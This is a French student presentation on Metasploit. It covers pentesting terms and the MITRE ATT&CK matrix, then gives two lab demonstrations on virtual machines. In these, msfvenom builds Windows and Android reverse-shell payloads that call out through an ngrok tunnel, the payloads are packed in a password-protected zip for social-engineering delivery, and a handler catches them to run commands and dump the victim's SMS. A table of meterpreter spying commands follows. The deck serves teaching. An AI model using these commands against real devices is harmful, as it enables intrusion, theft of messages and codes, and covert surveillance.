



PLAN



INTRODUCTION

- Histoire
- Différents termes importants : exploit, pentesting, ...
- Généralités sur Metasploit



FONCTIONNALITÉS

- Description des modules de l'outil
- Utilisation concrète
- Mise en route



DÉMONSTRATIONS

• Démonstrations d'attaques

INTRODUCTION

HISTOIRE







Un des plus utilisé au monde :

- ✓ Facilité d'utilisation
- ✓ Flexibilité

EXPLOIT

- Exploitation d'une vulnérabilité d'un système, une application ou un service.
- Attaquer sa cible
- Exécution du code de cet exploit
- Trouver des exploits :
 - https://www.exploit-db.com/
 - <u>http://cve.mitre.org/</u>
 - <u>https://blog.osvdb.org/</u>
 - <u>https://www.securityfocus.com/</u>
 - <u>https://insecure.org/sploits.html</u>
 - <u>https://packetstormsecurity.com/</u>











PAYLOAD

- Délivré par un « exploit »
- Morceau de code que l'attaquant ou testeur souhaite que le système exécute
- Un des plus connus est Meterpreter, beaucoup de possibilités :
 - se déplacer
 - télécharger des fichiers présents sur la cible
 - d'attaquer les autres machines sur le même réseau

SHELLCODE

- Ensemble d'instructions
- Écrit en assembleur
- S'il est bien exécuté, permet de fournir à l'attaquant une invite de commande shell ou Meterpreter.

PENTESTING

- Évaluation proactive de la sécurité informatique
- Simuler des attaques
- Identifier et corriger les vulnérabilités d'un système avant qu'elles ne soient exploitées par des cybercriminels





SCHEMA MITRE ATT&CK

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
10 techniques	8 techniques	10 techniques	14 techniques	20 techniques	14 techniques	43 techniques	17 techniques	32 techniques	9 techniques	17 techniques	17 techniques	9 techniques	14 techniques
ctive Scanning ₍₃₎	Acquire Access	Content Injection	Cloud Administration Command	Account Manipulation (6)	Abuse Elevation Control	Abuse Elevation Control Mechanism (5)	Adversary-in-the- Middle (3)	Account Discovery (4)	II Exploitation of Remote Services	Adversary-in-the- Middle (3)	Application Layer Protocol (4)	Automated Exfiltration (1)	Account Access Removal
ather Victim Host formation (4)	Acquire Infrastructure (8)	Drive-by Compromise	Command and	BITS Jobs	Mechanism (5)	Access Token	Brute Force (4)	Application Window Discovery	Internal	Archive Collected	Communication	Data Transfer	Data Destruction
ather Victim Identity	Compromise Accounts (3)	Exploit Public- Facing Application	Container	Boot or Logon Autostart	Manipulation (5)	BITS Jobs	Credentials from Password	Browser Information Discovery	Lateral Tool	Audio Capture	Removable Media	Exfiltration Over	Data Encrypted for Impact
ather Victim Network		External Remote	Administration Command	Execution (14)	Account Manipulation (6)	Build Image on Host	Stores (6)	Cloud Infrastructure	Transfer	Automated	Content Injection	Alternative Protocol (3)	Data Manipulation
normation (6)		Services	Deploy Container	Initialization	Boot or Logon	Debugger Evasion	Credential Access	Discovery	Session I		Data Encoding (2)	Exfiltration Over	Defacement (2)
ather Victim Org	Develop Capabilities (4)	Hardware Additions	Exploitation for Client	Scripts (5)	Execution (14)	Deobfuscate/Decode Files	Forced	Cloud Service Dashboard	Hijacking (2)	Browser Session Hijacking	Data Obfuscation (3)	C2 Channel	Disk Wipe (2)
hishing for	Establish	Phishing (a)	Execution	Browser Extensions	Boot or Logon	or Information	Authentication	Cloud Service Discovery	Remote Services (8)	Clipboard Data	Dynamic	Exfiltration Over Other Network	Endpoint Denial of
formation (4)	Accounts (3)	Poplication	Inter-Process	II Compromise Client	Initialization	Deploy Container	Forge Web	Cloud Storage Object	Poplication	Data from Cloud	Resolution (3)	Medium (1)	Service (4)
earch Closed	Obtain	Through	Notice ADI	Software Binary	Occupito (5)	Direct Volume Access		Discovery Ocataless ad December 1	Through	Storage	Encrypted	Exfiltration Over	Financial Theft
ources (2)	Capabilities (6)	Removable Media	Native API	Create Account (3)	System Process (4)	Domain Policy	Input Capture (4)	Discovery	Removable Media	Data from	Channel (2)	Medium (1)	Firmware Corrupti
earch Open Technical atabases (5)	II Stage Capabilities (6)	Supply Chain Compromise (3)	Scheduled Task/Job (5)	" Create or Modify	Domain Policy	Modification (2)	Modify Authentication	Debugger Evasion	Software Deployment Tools	Configuration Repository (2)	Fallback Channels	Exfiltration Over	Inhibit System
earch Open	(6)	Trusted	Serverless Execution	System Process (4)	Modification (2)	Execution Guardrails (1)	Process (8)	Device Driver Discovery	Taint Shared	Data from	Ingress Tool Transfer	Web Service (4)	Recovery
lebsites/Domains (3)		Relationship	Charad Madulas	Event Triggered	Escape to Host	Exploitation for Defense	Multi-Factor	Demois Trust Discovery	Content	Information	II Multi Otaga	Scheduled	Network Denial of
earch Victim-Owned	-	Valid Accounts (4)	Shared Modules	Execution (16)	Event Triggered	Evasion	Interception	Domain Trust Discovery	Use Alternate	Repositories (3)	Channels	Transfer	Service (2)
/ebsites			Software Deployment	External Remote	Execution (16)	File and Directory Permissions	Multi-Factor	File and Directory	Authentication	Data from Local	Non-Application	Transfer Data to	Resource Hijackin
					Exploitation for	Modification (2)	Authentication		(4)		Layer Protocol	cicda /iccount	Service Stop
			System Services (2)	Flow (12)	II Privilege Escalation	Hide Artifacts (11)	Generation	Group Policy Discovery		Shared Drive	Non-Standard Port		System
			User Execution (3)	11	Hijack Execution	V. 7		Log Enumeration					Shutdown/Reboot

ATT&CK Matrix for Enterprise

layout: side - show sub-techniques hide sub-techniques

FONCTIONNALITÉS



METASPLOIT, L'OUTIL DE PENTESTING PAR EXCELLENCE ?

- Modules auxiliaires
- Modules de chiffrement
- Modules d'évasion
- Modules d'exploitation
- Modules NOP
- Modules de payload

POURQUOI UN SI GRAND SUCCÈS ?

- Grande quantité d'exploits de failles de sécurité
- Exploitation de manière automatisée et rapide
- Outils de maintien d'accès et d'interaction avec les systèmes pénétrés
- Rapport d'exploitation : très utile pour les pentests



ET SI ON LANÇAIT METASPLOIT ?

👃 msfconsole ~



<u>msf6</u> >

DÉMONSTRATIONS D'EXPLOITS

DÉMONSTRATION N°1 (PRÉREQUIS ET DONNÉES CONNUES) :



RECONNAISSANCE

- Étapes de reconnaissances effectuées et on connaît donc le système cible.
- Machine Windows 10 avec l'antivirus
 Windows Defender
- On délivrera le malware dans un programme exécutable via SE.







1^{ÈRE} ÉTAPE : CRÉATION D'UN SERVEUR

- Utilisation d'un service de proxy inverse permettant de créer des tunnels (Ngrok).
- Redirection du port 2023 vers le service.
- Obtention d'une adresse ainsi qu'un port sur lesquels le malware communiquera.

	theop	hile@kal					
ngrok							
Build better APIs with ngrok.	Early	access:	ngrok.co	m/early-	access		
Session Status	online						
Account	Theoph	ile REY	(Plan: F	ree)			
Version	3.4.0						
Region	Europe (eu)						
Latency	59ms						
Web Interface	http:/	/127.0.0	0.1:4040	- 10/0/	. 1 1	h + - 0 0 0 0	
Forwarding	tcp://	0.τcp.e	I.ngrok.1	0:19424	-> local	.nost:2023	
Connections	ttl	opn	rt1	rt5	p50	p90	
	Ø	0	0.00	0.00	0.00	0.00	



2^E ÉTAPE : CRÉATION DU MALWARE (PAYLOAD)

- On utilisera msfvenom (outil open source préinstallé dans Kali Linux permettant de générer des payloads en utilisant les exploits disponibles dans Metasploit par exemple).

Commande :

msfvenom -p windows/meterpreter/reverse_tcp LHOST = 0.tcp.eu.ngrok.io LPORT = 19424 -f exe > CeciEstUnReverseShell.exe



A			theophile@
(theophile⊕ kali)-[~]	vator/rouged top 10057-0 top ou po	Trak to LOOPT-10/2/	f ava > CaciEctlleDouarsaShall ava

- [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
- [-] No arch selected, selecting arch: x86 from the payload
- No encoder specified, outputting raw payload
- Payload size: 354 bytes
- Final size of exe file: 73802 bytes

__(theophile⊕ kali)-[~] _\$





3^E ÉTAPE : DISTRIBUTION

 Le payload a bien été créé dans le dossier /home, on le compresse avec un mot de passe pour le distribuer.



.zip 🔒 👻

0

CeciEstUnReverseShell

Password

azertyuiop

4^E ÉTAPE : CONFIGURATION DE METASPLOIT

On configure Metasploit : pour lancer le framework, on utilise la commande msfconsole, pré-installée dans Kali Linux.

On selectionne l'exploit qu'on souhaite utiliser (celui qui a été utilisé lors de la création du payload).

Ngrok va rediriger tout le traffic du payload vers localhost: 2023, on écoute donc ici.



=[metasploit v6.3.41-dev + -- --=[2371 exploits - 1230 auxiliary - 414 post + -- --=[1391 payloads - 46 encoders - 11 nops + -- --=[9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 2023
LPORT => 2023
msf6 exploit(multi/handler) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:2023

5^E ÉTAPE : EXÉCUTION DANS LA VM WINDOWS 10

On configure une VM Windows 10 sur VirtualBox qui représentera notre cible.

La victime a téléchargé le malware et l'a exécuté, nous allons donc pouvoir passer à la post-exploitation !



6^E ÉTAPE : EXPLOITATION DANS MSFCONSOLE

 La session a bien été créée et msfconsole est bien connectée à la backdoor présente sur le système cible.

theophile@kal

(theophile@kali)-[~] smsfconsole Metasploit tip: Enable HTTP request and response logging with set HttpTrace true



=[metasploit v6.3.41-dev + -- --=[2371 exploits - 1230 auxiliary - 414 post + -- --=[1391 payloads - 46 encoders - 11 nops + -- --=[9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handle:) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf6 exploit(multi/handle:) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/handle:) > set LPORT 2023
LPORT => 2023
msf6 exploit(multi/handle:) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:2023
[*] Sending stage (240 bytes) to 127.0.0.1
[*] Command shell session 1 opened (127.0.0.1:2023 -> 127.0.0.1:49830) at 2023-11-10 10:09:11 +0100

Shell Banner: Microsoft Windows [version 10.0.19045.2965] (c) Microsoft Corporation. Tous droits r_serv_s.

C:\Users\vboxuser\Downloads>

C:\Users\vboxuser\Downloads>

___(theophile⊛kali)-[~]

└\$ msfconsole Metasploit tip: Enable HTTP request and response logging with set HttpTrace true

DÉMONSTRATION N°1:

7^E ÉTAPE : EXPLOITATION DANS MSFCONSOLE (EXEMPLE)

- On a maintenant accès au shell de la victime et on peut exécuter tout ce qu'on veut.
- Par exemple, on peut lancer le notepad sur l'ordinateur de la victime en utilisant la commande notepad.exe.

=[metasploit v6.3.41-dev + -- --=[2371 exploits - 1230 auxiliary - 414 post + -- --=[1391 payloads - 46 encoders - 11 nops

+ -- --=[9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 2023
LPORT => 2023
msf6 exploit(multi/handler) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?

[*] Started reverse TCP handler on 127.0.0.1:2023

[*] Sending stage (240 bytes) to 127.0.0.1

[*] Command shell session 1 opened (127.0.0.1:2023 -> 127.0.0.1:49830) at 2023-11-10 10:09:11 +0100

Shell Banner: Microsoft Windows [version 10.0.19045.2965] (c) Microsoft Corporation. Tous droits r_serv_s.

C:\Users\vboxuser\Downloads> -----

C:\Users\vboxuser\Downloads>notepad.exe notepad.exe

C:\Users\vboxuser\Downloads>

7^E ÉTAPE : EXPLOITATION DANS MSFCONSOLE (EXEMPLE)

Le notepad a bien été lancé !

En raison d'un crash du serveur Ngrok, nous n'avons pu exécuter que cette commande. Mais il peut être intéressant d'obtenir les configurations de la machine cible, scanner le réseau, et préparer la suite de l'attaque !



ET LA SUITE ? (ORGANISATION)



Capacité à rester sur un système informatique ciblé de manière durable, souvent en établissant des mécanismes permettant de survivre aux redémarrages du système.

PRIVILEGE ESCALATION

Capacité à augmenter les droits d'accès sur un système compromis, lui permettant ainsi d'exploiter des vulnérabilités et d'obtenir un niveau d'autorisation plus élevé.

LATERAL MOVEMENT

Capacité de se propager horizontalement à travers un réseau informatique, en exploitant différentes machines ou systèmes interconnectés.

EXFILTRATION, C&C, IMPACT

Exfiltration de données, exécution d'autres payloads (par exemple ransomware, wiper, …). Impact direct sur l'organisation touchée.

DÉMONSTRATION N°2 (PREREQUIS ET CHOSES CONNUES) :



RECONNAISSANCE

- Étapes de reconnaissance effectuées et connaissance du système cible.
- Téléphone avec Android Nougat (7.0).
- On délivrera le malware dans un programme exécutable via social engineering.









1^{ÈRE} ÉTAPE : CRÉATION D'UN SERVEUR

- Utilisation d'un service de proxy inverse permettant de créer des tunnels (Ngrok).
- Redirection du port 2023 vers le service.
- On obtient une adresse ainsi qu'un port sur lesquels le malware communiquera.

	theo	phile@ka				
ngrok			_			
Build better APIs with ngrok.	Early	access:	ngrok.co	m/early-	access	
Session Status	online	9				
Account	Theop	nile REY	(Plan: F	ree)		
Version	3.4.0					
Region	Europe	e (eu)				
Latency	91ms					
Web Interface	http:/	//127.0.	0.1:4040			
Forwarding	tcp://	/6.tcp.e	u.ngrok.i	0:11787	-> local	host:2023
Connections	ttl	opn	rt1	rt5	p50	p90
	0	0	0 00	0 00	0 00	0 00



2^E ÉTAPE : CRÉATION DU MALWARE (PAYLOAD)

Pour cela, nous utiliserons msfvenom (outil open source préinstallé dans Kali Linux permettant de générer des payloads en utilisant les exploits disponibles dans Metasploit par exemple).

Commande :

msfvenom -p android/meterpreter/reverse_tcp
LHOST = 6.tcp.eu.ngrok.io LPORT = 11787 >
CeciEstUnReverseShell.apk

Ð			theophile@kal
<pre>(theophile kali)-[~] \$ msfvenom -p android/meterpreter [-] No platform was selected, choos [-] No arch selected, selecting arc No encoder specified, outputting ra Payload size: 10245 bytes (theophile kali)-[~] \$</pre>	/reverse_tcp LHOST=6.tcp.eu ing Msf::Module::Platform:: h: dalvik from the payload w payload	i.ngrok.io LPORT=11787 > Ceo Android from the payload	ciEstUnReverseShell.apk

3^E ÉTAPE : DISTRIBUTION

 Le payload a bien été créé dans le dossier /home, on le compresse avec un mot de passe pour le distribuer.









4^E ÉTAPE : CONFIGURATION DE METASPLOIT

- Configuration de Metasploit : pour lancer le framework, on utilise la commande msfconsole, pré-installée dans Kali Linux.
- On sélectionne l'exploit qu'on souhaite utiliser (celui qui a été utilisé lors de la création du payload).
- Ngrok va rediriger tout le traffic du payload
 vers localhost: 2023, on écoute donc ici.

	theophile@kali:~					
		the and it a Quality				
(theophile@kali)-[-] \$ msfconsole Metasploit tip: Use the edit command to open the currently active module in your editor	инсерниецикан					
$\begin{array}{cccccccccccccccccccccccccccccccccccc$						
I love shellsegypt						
=[metasploit v6.3.41-dev] +=[2371 exploits - 1230 auxiliary - 414 post] +=[391 paylonds - 46 encoders - 11 nops] +=[9 evasion]						
Metasploit Documentation: https://docs.metasploit.com/						
Sife > use exploit/multi/handler *] Using configured payload generic/shell_reverse_tcp Sife xploit(multi/handler) > set payload android/meterpreter/reverse_tcp Sife xploit(multi/handler) Sife xploit(multi/handler) Sife exploit(multi/handler) Sife exploit(multi/handler) Sife xploit(multi/handler) Sife exploit(multi/handler)						
 You are binding to a loopback address by setting LHOST to 127.0.0.1. Did Started reverse TCP handler on 127.0.0.1:2023 	you want ReverseListenerBindAddress?					

5^E ÉTAPE : EXÉCUTION SUR L'APPAREIL ANDROID

- Configuration d'une VM Android sur Android
 Studio qui représentera notre cible.
- La victime a téléchargé le malware et l'a exécuté, nous allons pouvoir passer à la post-exploitation !



6^E ÉTAPE : EXPLOITATION DANS MSFCONSOLE

 La session a bien été créée et msfconsole est bien connectée à la backdoor présente sur le système cible.

n	theophile@kali: ~	९ : ●●●
	theophile@kali:~ ×	
(theophile@kali)-[~] _§ msfconsole Metasploit tip: Use the edit command to open the currently active module in your editor		
$\begin{array}{cccccccccccccccccccccccccccccccccccc$		
I love shellsegypt		
=[metasploit v6.3.41-dev] +=[2371 exploits - 1230 auxiliary - 414 post] +=[1391 payloads - 46 encoders - 11 nops] +=[9 evasion]		
Metasploit Documentation: https://docs.metasploit.com/		
<pre>msf6 > use exploit/multi/handler [•] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handle:) > set payload android/meterpreter/reverse_tcp payload => android/meterpreter/reverse_tcp msf6 exploit(multi/handle:) > set LHOST 127.0.0.1 LHOST => 127.0.0.1 msf6 exploit(multi/handle:) > set LPORT 2023 LPORT => 2023 msf6 exploit(multi/handle:) > run</pre>		
 You are binding to a loopback address by setting LHOST to 127.0.0.1. Did Started reverse TCP handler on 127.0.0.1.12023 Sending stage (70945 bytes) to 127.0.0.1 Sending stage (70945 bytes) to 127.0.0.1 Meterpreter session 1 opened (127.0.0.12023 -> 127.0.0.1:40744) at 2023- Meterpreter session 2 opened (127.0.1:2023 -> 127.0.0.1:40756) at 2023- 	you want ReverseListenerBindAddress? 11-16 19:04:23 +0100 11-16 19:04:23 +0100	
meterpreter >		

7^E ÉTAPE : EXPLOITATION DANS MSFCONSOLE (EXEMPLE)

- On va maintenant chercher a récupérer les SMS de la victime.
- Pour cela on utilise le panneau de contrôle des simulations d'Android Studio pour simuler un message entrant venant de "Google" avec un message comportant un code de validation "ESIREM2023".

					"1 8
		Extended Controls - Pixel_4	API_24:5554	Messe	nger Q
0	Location	From			Google
	Cellular	Google		e	Votre code de validation est : ESIREM2023 Just now
Ĵ.	Battery	Call Devic	e		
۲	Camera	SMS message Votre code de validation est : ESIREM202	3		
r.	Phone		•		
0	Directional pad				
Ŷ	Microphone				
Ô	Fingerprint	Send Mess	age		
(•)	Virtual sensors				
Ŭ	Bug report				
Ð	Snapshots				
	Record and Playback				
	Google Play				
\$	Settings				
?	Help				•

1.05



7^E ÉTAPE : EXPLOITATION DANS MSFCONSOLE (EXEMPLE)

 On utilise la commande dump_sms pour récupérer les SMS de la victime dans un fichier texte.

n and a state of the state of t	theophile@kali: ~	વ : ●●●
	theophile@kali:~ ×	
[theophile⊕kali)-[~] _\$_msfconsole Metasploit tip: Use the edit command to open the currently active module in your editor		
III dfb:dfb II d' Y '8 II (-,-P) II (-,-P) II '17:-28' II '17:-28' II '17:-28' II '17:-28' III '17:-28' III '17:-28'		
I love shellsegypt		
=[metasploit v6.3.41-dev] +=[2371 exploits - 1230 auxiliary - 414 post] +=[1391 payloads - 46 encoders - 11 nops] +=[9 evasion]		
Metasploit Documentation: https://docs.metasploit.com/		
<pre>msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(mili/handler) > set payload android/meterpreter/reverse_tcp msf6 exploit(mili/handler) > set LHOST 127.0.0.1 LHOST => 127.0.0.1 msf6 exploit(mili/handler) > set LPORT 2023 LPORT => 2023 msf6 exploit(mili/handler) > run</pre>		
 You are binding to a loopback address by setting LHOST to 127.0.0.1. Did y Started reverse TCP handler on 127.0.0.1:2023 Sending stage (70945 bytes) to 127.0.0.1 Sending stage (70945 bytes) to 127.0.0.1:2023 -> 127.0.0.1:40744) at 2023- Meterpreter session 1 opened (127.0.0.1:2023 -> 127.0.0.1:40756) at 2023- 	you want ReverseListenerBindAddress? 11-16 19:04:23 +0100 11-16 19:04:23 +0100	
<pre>meterpreter > dump_sms {*} Fetching 1 sms message {*} Setching 1 sms message {*} Sks message saved to: sms_dump_20231116190606.txt meterpreter > screenshot {*} No screenshot data was returned. ** With Android, the screenshot command can only capture the host application meterpreter > check_root {*} Device is not rooted meterpreter > </pre>	n. If this payload is hosted in an app without a user interface (default behavi	or), it cannot take screenshots at all.

7^E ÉTAPE : EXPLOITATION DANS MSFCONSOLE (EXEMPLE)

Récupération du fichier texte généré
 contenant les détails des SMS présents sur le
 téléphone de la victime.





DÉMONSTRATION N°2 (ANNEXE DES COMMANDES UTILES)

Commande	Description
?	Menu d'aide du meterpreter
exit	Termine une session meterpreter
getuid	Récupère l'utilisateur que le serveur exécute
screenshot	Prend une capture d'écran du bureau
record_mic	Enregistre l'audio du micro par défaut pendant x secondes
webcam_stream	Lire un flux vidéo depuis la webcam spécifiée
<pre>dump_calllog / dump_contacts / dump_sms</pre>	Obtenir le journal des appels / contacts / sms
send_sms	Envoie un SMS depuis la cible
set_audio_mode	Définir le mode de sonnerie
hide_app_icon	Masquer l'icône de l'application du lanceur
geolocate	Obtenir lat-long actuelle en utilisant la géolocalisation
shell	Obtenir un shell de commande système
localtime	Affiche la date et l'heure locales du système cible
check_root	Vérifie si le périphérique est rooté



MERCI DE VOTRE ATTENTION !